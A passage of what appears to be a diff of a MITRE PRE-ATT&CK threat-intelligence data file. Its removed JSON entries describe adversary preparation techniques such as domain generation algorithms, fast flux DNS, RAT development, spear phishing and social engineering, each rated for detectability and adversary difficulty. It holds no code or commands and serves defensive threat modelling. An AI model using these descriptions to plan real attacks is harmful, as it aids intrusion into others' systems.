those being attacked.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: The adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], commercial storage solutions).", - "value": "Create backup infrastructure - PRE-T1116", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1116" - ] - }, - "uuid": "a425598d-7c19-40f7-9aa3-ac20f0d5c2b2" - }, - { - "description": "An adversary may assess a target's operational security (OPSEC) practices in order to identify targeting options. A target may share different information in different settings or be more of less cautious in different environments. (Citation: Scasny2015) (Citation: EverstineAirStrikes)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender does not have access to information stored outside of defenders scope or visibility (e.g., log data for Facebook is not easily accessible). Defender has very infrequent visibility into an adversary's more detailed TTPs for developing people targets.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Information is out in the open for items that are available - part of this is ease of use for consumers to support the expected networking use case. OSINT can provide many avenues to gather intel which contain weaknesses. Developing and refining the methodology to exploit weak human targets has been done for years (e.g., spies).", - "value": "Assess targeting options - PRE-T1073", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1073" - ] - }, - "uuid": "d69c3e06-8311-4093-8e3e-0a8e06b15d92" - }, - { - "description": "Analysts may receive intelligence requirements from leadership and begin research process to satisfy a requirement. Part of this process may include delineating between needs and wants and thinking through all the possible aspects associating with satisfying a requirement. (Citation: FBIIntelligencePrimer)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", - "value": "Receive operator KITs/KIQs tasking - PRE-T1012", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1012" - ] - }, - "uuid": "7863b7f1-c18a-4aad-a6cf-4aa6d8797531" - }, - { - "description": "An adversary will require some physical hardware and software. They may only need a lightweight set-up if most of their activities will take place using on-line infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems. (Citation: NYTStuxnet)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Outside of highly specific or rare HW, nearly impossible to detect and track.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Ease and availability of current hardware and software, mobile phones (cash and go phones), and additional online technology simplifies adversary process to achieve this technique (and possibly without traceability). The adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS).", - "value": "Procure required equipment and software - PRE-T1112", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1112" - ] - }, - "uuid": "2141aea0-cf38-49aa-9e51-ac34092bc30a" - }, - { - "description": "Security defensive capabilities are designed to stop or limit unauthorized network traffic or other types of accesses. (Citation: OSFingerprinting2014) (Citation: NMAP WAF NSE)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Technically, the defender has the ability to detect. However, this is typically not performed as this type of traffic would likely not prompt the defender to take any actionable defense. In addition, this would require the defender to closely review their access logs for any suspicious activity (if the activity is even logged).\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: The adversary will have some insight into defenses based on dropped traffic or filtered responses. It is more difficult to pinpoint which defenses are implemented (e.g., [https://www.fireeye.com FireEye] WMPS, [https://www.hpe.com Hewlett Packard Enterprise] Tipping Point IPS).", - "value": "Identify security defensive capabilities - PRE-T1040", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1040" - ] - }, - "uuid": "04e93ca1-8415-4a46-8549-73b7c84f8dc3" - }, - { - "description": "Leadership or key decision makers may derive specific intelligence requirements from Key Intelligence Topics (KITs) or Key Intelligence Questions (KIQs). Specific intelligence requirements assist analysts in gathering information to establish a baseline of information about a topic or question and collection managers to clarify the types of information that should be collected to satisfy the requirement. (Citation: LowenthalCh4) (Citation: Heffter)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", - "value": "Derive intelligence requirements - PRE-T1007", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1007" - ] - }, - "uuid": "15d5eaa4-597a-47fd-a692-f2bed434d904" - }, - { - "description": "The use of algorithms in malware to periodically generate a large number of domain names which function as rendezvous points for malware command and control servers. (Citation: DamballaDGA) (Citation: DambballaDGACyberCriminals)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: It is possible to detect the use of DGAs; however, defenders have largely not been successful at mitigating the domains because they are generally registered less than an hour before they are used and disposed of within 24 hours.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This technique does not require a significant amount of sophistication while still being highly effective. It was popularized by the Conficker worms but is prevalent in crimeware such as Murofet and BankPatch.", - "value": "Domain Generation Algorithms (DGA) - PRE-T1100", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1100" - ] - }, - "uuid": "274164c6-4297-42d4-84b5-2369e51013fe" - }, - { - "description": "The utilization of resources not owned by the adversary to launch exploits or operations. This includes utilizing equipment that was previously compromised or leveraging access gained by other methods (such as compromising an employee at a business partner location). (Citation: CitizenLabGreatCannon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: While possible to detect, it requires a broader vantage point than is typical that provides increased insight and conducts extensive data analysis and correlation between events.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Conducting technique requires either nation-state level capabilities or large amounts of financing to coordinate multiple 3rd party resources to gain desired insight.", - "value": "Leverage compromised 3rd party resources - PRE-T1152", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1152" - ] - }, - "uuid": "2c8a9df4-52a9-4770-94b3-5e95ab7d59f9" - }, - { - "description": "Execution of code and network communications often result in logging or other system or network forensic artifacts. An adversary can run their code to identify what is recorded under different conditions. This may result in changes to their code or adding additional actions (such as deleting a record from a log) to the code. (Citation: EDB-39007) (Citation: infosec-covering-tracks)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary controls the test and defender likely has no visibility.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary has full control of environment to determine what level of auditing and traces exist on a system after execution.", - "value": "Review logs and residual traces - PRE-T1135", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1135" - ] - }, - "uuid": "a16e4004-caac-4a0b-acd5-486f8fda1665" - }, - { - "description": "Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on technologies within the organization which could be valuable in attack or provide insight in to possible security weaknesses or limitations in detection or protection mechanisms. (Citation: JobPostingThreat)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Impossible to differentiate between an adversary and a normal user when accessing open/public information.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Publicly posted information by design. Providing too much detail in the job posting could aid the adversary in learning more about the target's environment and possible technical weaknesses/deficiencies.", - "value": "Identify job postings and needs/gaps - PRE-T1025", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1025" - ] - }, - "uuid": "c721b235-679a-4d76-9ae9-e08921fccf84" - }, - { - "description": "Emails with malicious attachments are designed to get a user to open/execute the attachment in order to deliver malware payloads. (Citation: APT1)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Many technologies exist to scan content and/or emulate a workstation prior to the target receiving and executing the attachment (detonation chambers) in order to reduce malicious emails and attachments being delivered to the intended target. However, encryption continues to be a stumbling block. In addition, there are a variety of commercial technologies available that enable users to screen for phishing messages and which are designed to enhance email security.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending the emails is the simple part, ensuring they make it to the target (e.g., not being filtered) may be challenging. Over time, an adversary refines their techniques to minimize detection by making their emails seem legitimate in structure and content.", - "value": "Spear phishing messages with malicious attachments - PRE-T1144", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1144" - ] - }, - "uuid": "e24a9f99-cb76-42a3-a50b-464668773e97" - }, - { - "description": "Fake certificates can be acquired by legal process or coercion. Or, an adversary can trick a Certificate Authority into issuing a certificate. These fake certificates can be used as a part of Man-in-the-Middle attacks. (Citation: SubvertSSL)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: The certificate authority who is hacked cannot easily see they've been compromised, but [https://www.google.com Google] has caught on to this occurring in previous attacks such as DigiNotar (Citation: DigiNotar2016) and [https://www.verisign.com Verisign].\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: One example of it occurring in the real world is the DigiNotar (Citation: DigiNotar2016) case. To be able to do this usually requires sophisticated skills and is traditionally done by a nation state to spy on its citizens.", - "value": "SSL certificate acquisition for trust breaking - PRE-T1115", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1115" - ] - }, - "uuid": "54a42187-a20c-4e4e-ba31-8d15c9e1f57f" - }, - { - "description": "Proxies act as an intermediary for clients seeking resources from other systems. Using a proxy may make it more difficult to track back the origin of a network communication. (Citation: APT1)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defenders with standard capabilities will traditionally be able to see the first hop but not all the subsequent earlier hops an adversary takes to be able to conduct reconnaissance.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Proxies are readily available for the adversary with both free and cost-based options available.", - "value": "Proxy/protocol relays - PRE-T1081", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1081" - ] - }, - "uuid": "b14f6692-b613-44bb-9f30-8381a5ff10d5" - }, - { - "description": "Domain Names are the human readable names used to represent one or more IP addresses. IP addresses are the unique identifier of computing devices on a network. Both pieces of information are valuable to an adversary who is looking to understand the structure of a network. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public or easily obtainable information by design.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: AS and IANA data are easily available, existing research tools.", - "value": "Determine domain and IP address space - PRE-T1027", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1027" - ] - }, - "uuid": "23ecb7e0-0340-43d9-80a5-8971fe866ddf" - }, - { - "description": "A remote access tool (RAT) is a piece of software that allows a remote user to control a system as if they had physical access to that system. An adversary may utilize existing RATs, modify existing RATs, or create their own RAT. (Citation: ActiveMalwareEnergy)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Many successful RATs exist for re-use/tailoring in addition to those an adversary may choose to build from scratch. The adversary's capabilities, target sensitivity, and needs will likely determine whether a previous RAT is modified for use a new one is built from scratch.", - "value": "Remote access tool development - PRE-T1128", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1128" - ] - }, - "uuid": "9755ecdc-deb0-40e6-af49-713cb0f8ed92" - }, - { - "description": "A technique to push an [https://www.apple.com/ios iOS] or [https://www.android.com Android] MMS-type message to the target which does not require interaction on the part of the target to be successful. (Citation: BlackHat Stagefright) (Citation: WikiStagefright)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: For non-corporate cellular devices not joined to the corporate network, it is not possible to detect an adversary's use of the technique because messages traverse networks outside of the control of the employer. For corporate cellular devices which are joined to the corporate network, monitoring of messages and ability to patch against push attacks is possible, assuming they are fully monitored.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easily executed technique to push an MMS-type message to the target which does not require interaction on the part of the target to be successful.", - "value": "Push-notification client-side exploit - PRE-T1150", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1150" - ] - }, - "uuid": "702dc95d-3266-42dc-9eef-4a19e2445148" - }, - { - "description": "Clicking on links in email, opening attachments, or visiting websites that result in drive by downloads can all result in compromise due to users performing actions of a cyber nature. (Citation: AnonHBGary)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Some environments have anti-spearphishing mechanisms to detect or block the link before it reaches the user.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Users unwittingly click on spearphishing links frequently, despite training designed to educate about the perils of spearphishing.", - "value": "Authorized user performs requested cyber action - PRE-T1163", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1163" - ] - }, - "uuid": "0440f60f-9056-4791-a740-8eae96eb61fa" - }, - { - "description": "Once they have been created, intelligence requirements, Key Intelligence Topics (KITs), and Key Intelligence Questions (KIQs) are submitted into a central management system. (Citation: ICD204) (Citation: KIT-Herring)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", - "value": "Submit KITs, KIQs, and intelligence requirements - PRE-T1014", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1014" - ] - }, - "uuid": "03da0598-ed46-4a73-bf43-0313b3522400" - }, - { - "description": "The use of credentials by an adversary with the intent to hide their true identity and/or portray them self as another person or entity. An adversary may use misattributable credentials in an attack to convince a victim that credentials are legitimate and trustworthy when this is not actually the case. (Citation: FakeSSLCerts)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: If a previous incident identified the credentials used by an adversary, defenders can potentially use these credentials to track the adversary through reuse of the same credentials.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: An adversary can easily create and use misattributable credentials to obtain servers, build environment, [https://aws.amazon.com AWS] accounts, etc. Many service providers require some form of identifiable information such as a phone number or email address, but there are several avenues to acquire these consistent with the misattributable identity.", - "value": "Misattributable credentials - PRE-T1099", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1099" - ] - }, - "uuid": "31fa5b03-1ede-4fab-8a68-ed831fcf4899" - }, - { - "description": "Strategic plans outline the mission, vision, and goals for an adversary at a high level in relation to the key partners, topics, and functions the adversary carries out. (Citation: KPMGChina5Year) (Citation: China5YearPlans) (Citation: ChinaUN)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", - "value": "Create strategic plan - PRE-T1008", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1008" - ] - }, - "uuid": "ec739e26-d097-4804-b04a-54dd81ff11e0" - }, - { - "description": "Once a 3rd party vendor has been identified as being of interest it can be probed for vulnerabilities just like the main target would be. (Citation: Zetter2015Threats) (Citation: WSJTargetBreach)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: 3rd parties would most likely not report network scans to their partners. Target network would not know that their 3rd party partners were being used as a vector.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: The difficult part is enumerating all 3rd parties. Finding major partners would not be difficult. Significantly easier with insider knowledge. Vulnerability scanning the 3rd party networks is trivial.", - "value": "Assess vulnerability of 3rd party vendors - PRE-T1075", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1075" - ] - }, - "uuid": "1def484d-2343-470d-8925-88f45b5f9615" - }, - { - "description": "Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials to authenticate remotely. This access could be to a web portal, through a VPN, or in a phone app. (Citation: Remote Access Healthcare) (Citation: RDP Point of Sale)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: This is possible with diligent monitoring of login anomalies, expected user behavior/location. If the adversary uses legitimate credentials, it may go undetected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials. This is increasingly difficult to obtain access when two-factor authentication mechanisms are employed.", - "value": "Authentication attempt - PRE-T1158", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1158" - ] - }, - "uuid": "4dfb98ea-03cc-4a9c-a3a7-b22e14f126c4" - }, - { - "description": "Domain Registration Hijacking is the act of changing the registration of a domain name without the permission of the original registrant. (Citation: ICANNDomainNameHijacking)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Generally not easily detectable unless domain registrar provides alerting on any updates.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Requires adversary to gain access to an email account for person listed as the domain registrar/POC. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or take advantage of renewal process gaps.", - "value": "Domain registration hijacking - PRE-T1103", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1103" - ] - }, - "uuid": "aadaee0d-794c-4642-8293-7ec22a99fb1a" - }, - { - "description": "Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This can be done offline after the data has been collected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts.", - "value": "Analyze organizational skillsets and deficiencies - PRE-T1077", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1077" - ] - }, - "uuid": "7baccb84-356c-4e89-8c5d-58e701f033fc" - }, - { - "description": "Active scanning is the act of sending transmissions to end nodes, and analyzing the responses, in order to identify information about the communications system. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: This technique is an expected and voluminous activity when on the Internet. Active scanning techniques/tools typically generate benign traffic that does not require further investigation by a defender since there is no actionable defense to execute. The high volume of this activity makes it burdensome for any defender to chase and therefore often ignored.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Various available tools and data sources for scouting and detecting address, routing, version numbers, patch levels, protocols/services running, etc.", - "value": "Conduct active scanning - PRE-T1031", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1031" - ] - }, - "uuid": "7f2d3da6-7e34-44a3-9e7f-905455339726" - }, - { - "description": "A technique used to compromise victims wherein the victims visit a compromised website that redirects their browser to a malicious web site, such as an exploit kit's landing page. The exploit kit landing page will probe the victim's operating system, web browser, or other software to find an exploitable vulnerability to infect the victim. (Citation: GeorgeDriveBy) (Citation: BellDriveBy)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: With the use of malware detonation chambers (e.g., for web or email traffic), this improves detection. Encryption and other techniques reduces the efficacy of these defenses.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Placing an exploit on a public web site for driveby types of delivery is not impossible. However, gaining access to a web site with high enough traffic to meet specific objectives could be the challenge.", - "value": "Unconditional client-side exploitation/Injected Website/Driveby - PRE-T1149", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1149" - ] - }, - "uuid": "58d0b955-ae3d-424a-a537-2804dab38793" - }, - { - "description": "An adversary can test the detections of malicious emails or files by using publicly available services, such as virus total, to see if their files or emails cause an alert. They can also use similar services that are not openly available and don't publicly publish results or they can test on their own internal infrastructure. (Citation: WiredVirusTotal)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: If using a common service like [https://www.virustotal.com VirusTotal], it is possible to detect. If the adversary uses a hostile, less well-known service, the defender would not be aware.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easy to automate upload/email of a wide range of data packages.", - "value": "Test signature detection - PRE-T1069", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1069" - ] - }, - "uuid": "57061a8a-d7c5-42a9-be60-f79526b95bf6" - }, - { - "description": "A technique in which a fully qualified domain name has multiple IP addresses assigned to it which are swapped with extreme frequency, using a combination of round robin IP address and short Time-To-Live (TTL) for a DNS resource record. (Citation: HoneynetFastFlux) (Citation: MisnomerFastFlux) (Citation: MehtaFastFluxPt1) (Citation: MehtaFastFluxPt2)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as IPS, domain registrars, and service providers are likely in the best position for detection.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Fast flux is generally simple for an adversary to set up and offers several advantages. Such advantages include limited audit trails for defenders to find, ease of operation for an adversary to maintain, and support for main nodes.", - "value": "Fast Flux DNS - PRE-T1102", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1102" - ] - }, - "uuid": "248cbfdd-fec4-451b-b2a9-e46d4b268e30" - }, - { - "description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: No technical means to detect an adversary collecting technical information about a target. Any detection would be based upon strong OPSEC policy implementation.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.", - "value": "Conduct social engineering - PRE-T1026", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1026" - ] - }, - "uuid": "74a3288e-eee9-4f8e-973a-fbc128e033f1" - }, - { - "description": "A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: TrendmicroHideoutsLease)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Hard to differentiate from standard business operations.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Wide variety of cloud/VPS/hosting/compute/storage solutions available for adversary to acquire freely or at a low cost.", - "value": "Acquire and/or use 3rd party infrastructure services - PRE-T1106", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1106" - ] - }, - "uuid": "795c1a92-3a26-453e-b99a-6a566aa94dc6" - }, - { - "description": "Obfuscation is the act of creating code that is more difficult to understand. Encoding transforms the code using a publicly available format. Encryption transforms the code such that it requires a key to reverse the encryption. (Citation: CylanceOpCleaver)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Detecting encryption is easy, decrypting/deobfuscating is hard.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Various solutions exist for the adversary to use. This technique is commonly used to prevent attribution and evade detection.", - "value": "Obfuscate or encrypt code - PRE-T1096", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1096" - ] - }, - "uuid": "357e137c-7589-4af1-895c-3fbad35ea4d2" - }, - { - "description": "Understanding organizational skillsets and deficiencies could provide insight in to weakness in defenses, or opportunities for exploitation. (Citation: FakeLinkedIn)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: No access to who is consuming the job postings to know what is being observed.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Job postings have to be made public for contractors and many times have the name of the organization being supported.", - "value": "Analyze organizational skillsets and deficiencies - PRE-T1074", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1074" - ] - }, - "uuid": "96eb59d1-6c46-44bb-bfcd-56be02a00d41" - }, - { - "description": "An adversary could distribute malicious software development tools (e.g., compiler) that hide malicious behavior in software built using the tools. (Citation: PA XcodeGhost) (Citation: Reflections on Trusting Trust)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No", - "value": "Distribute malicious software development tools - PRE-T1171", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1171" - ] - }, - "uuid": "d2c4206a-a431-4494-834d-52944a79e9f4" - }, - { - "description": "Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an signed piece of code even if they don't know who issued the certificate or who the author is. (Citation: DiginotarCompromise)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not know what certificates an adversary acquires from a 3rd party. Defender will not know prior to public disclosure if a 3rd party has had their certificate compromised.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: It is trivial to purchase code signing certificates within an organization; many exist and are available at reasonable cost. It is complex to factor or steal 3rd party code signing certificates for use in malicious mechanisms", - "value": "Acquire or compromise 3rd party signing certificates - PRE-T1109", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1109" - ] - }, - "uuid": "03f4a766-7a21-4b5e-9ccf-e0cf422ab983" - }, - { - "description": "Both newly built personas and pre-compromised personas may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Unless there is some threat intelligence reporting, these users are hard to differentiate.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: The only difference between an adversary conducting this technique and a typical user, is the adversary's intent - to target an individual for compromise.", - "value": "Develop social network persona digital footprint - PRE-T1119", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1119" - ] - }, - "uuid": "271e6d40-e191-421a-8f87-a8102452c201" - }, - { - "description": "A technique used by the adversary similar to Dynamic DNS with the exception that the use of multiple DNS infrastructures likely have whois records. (Citation: KrebsStLouisFed)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: This is by design captured in public registration logs. Various tools and services exist to track/query/monitor domain name registration information. However, tracking multiple DNS infrastructures will likely require multiple tools/services or more advanced analytics.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Requires more planning, but feasible.", - "value": "Use multiple DNS infrastructures - PRE-T1104", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1104" - ] - }, - "uuid": "616238cb-990b-4c71-8f50-d8b10ed8ce6b" - }, - { - "description": "Many applications use third-party software libraries, often without full knowledge of the behavior of the libraries by the application developer. For example, mobile applications often incorporate advertising libraries to generate revenue for the application developer. Vulnerabilities in these third-party libraries could potentially be exploited in any application that uses the library, and even if the vulnerabilities are fixed, many applications may still use older, vulnerable versions of the library. (Citation: Flexera News Vulnerabilities) (Citation: Android Security Review 2015) (Citation: Android Multidex RCE)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Open source software has great appeal mostly due to the time savings and that it is free. However, using this code without assessing it's security is akin to blindly executing third party software. Companies often do not dedicate the time to appropriately detect and scan for vulnerabilities. The mainstream mobile application stores scan applications for some known vulnerabilities. For example, Google's Android Application Security Improvement Program identifies and alerts developers to vulnerabilities present in their applications from use of the Vungle, Apache Cordova, WebView SSL, GnuTLS, and Vitamio third-party libraries. However, these scans are not likely to cover all vulnerable libraries, developers may not always act on the results, and the results may not be made available to impacted end users of the applications.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Developers commonly use open source libraries such that where an adversary can easily discover known vulnerabilities and create exploits. It is also generally easy to decompile arbitrary mobile applications to determine what libraries they use, and similarly use this information to correlate against known CVEs and exploit packages.", - "value": "Identify vulnerabilities in third-party software libraries - PRE-T1166", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1166" - ] - }, - "uuid": "ad124f84-52d2-40e3-95dd-cfdd44eae6ef" - }, - { - "description": "DNS Calc is a technique in which the octets of an IP address are used to calculate the port for command and control servers from an initial DNS request. (Citation: CrowdstrikeNumberedPanda) (Citation: FireEyeDarwinsAPTGroup) (Citation: Rapid7G20Espionage)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: There are not currently available tools that provide the ability to conduct this calculation to detect this type of activity.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This technique assists the adversary in bypassing egress filtering designed to prevent unauthorized communication. It has been used by APT12, but not otherwise widely reported. Some botnets are hardcoded to be able to use this technique.", - "value": "DNSCalc - PRE-T1101", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1101" - ] - }, - "uuid": "7823039f-e2d5-4997-853c-ec983631206b" - }, - { - "description": "Externally facing systems allow connections from outside the network as a normal course of operations. Externally facing systems may include, but are not limited to, websites, web portals, email, DNS, FTP, VPN concentrators, and boarder routers and firewalls. These systems could be in a demilitarized zone (DMZ) or may be within other parts of the internal environment. (Citation: CylanceOpCleaver) (Citation: DailyTechAntiSec)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: 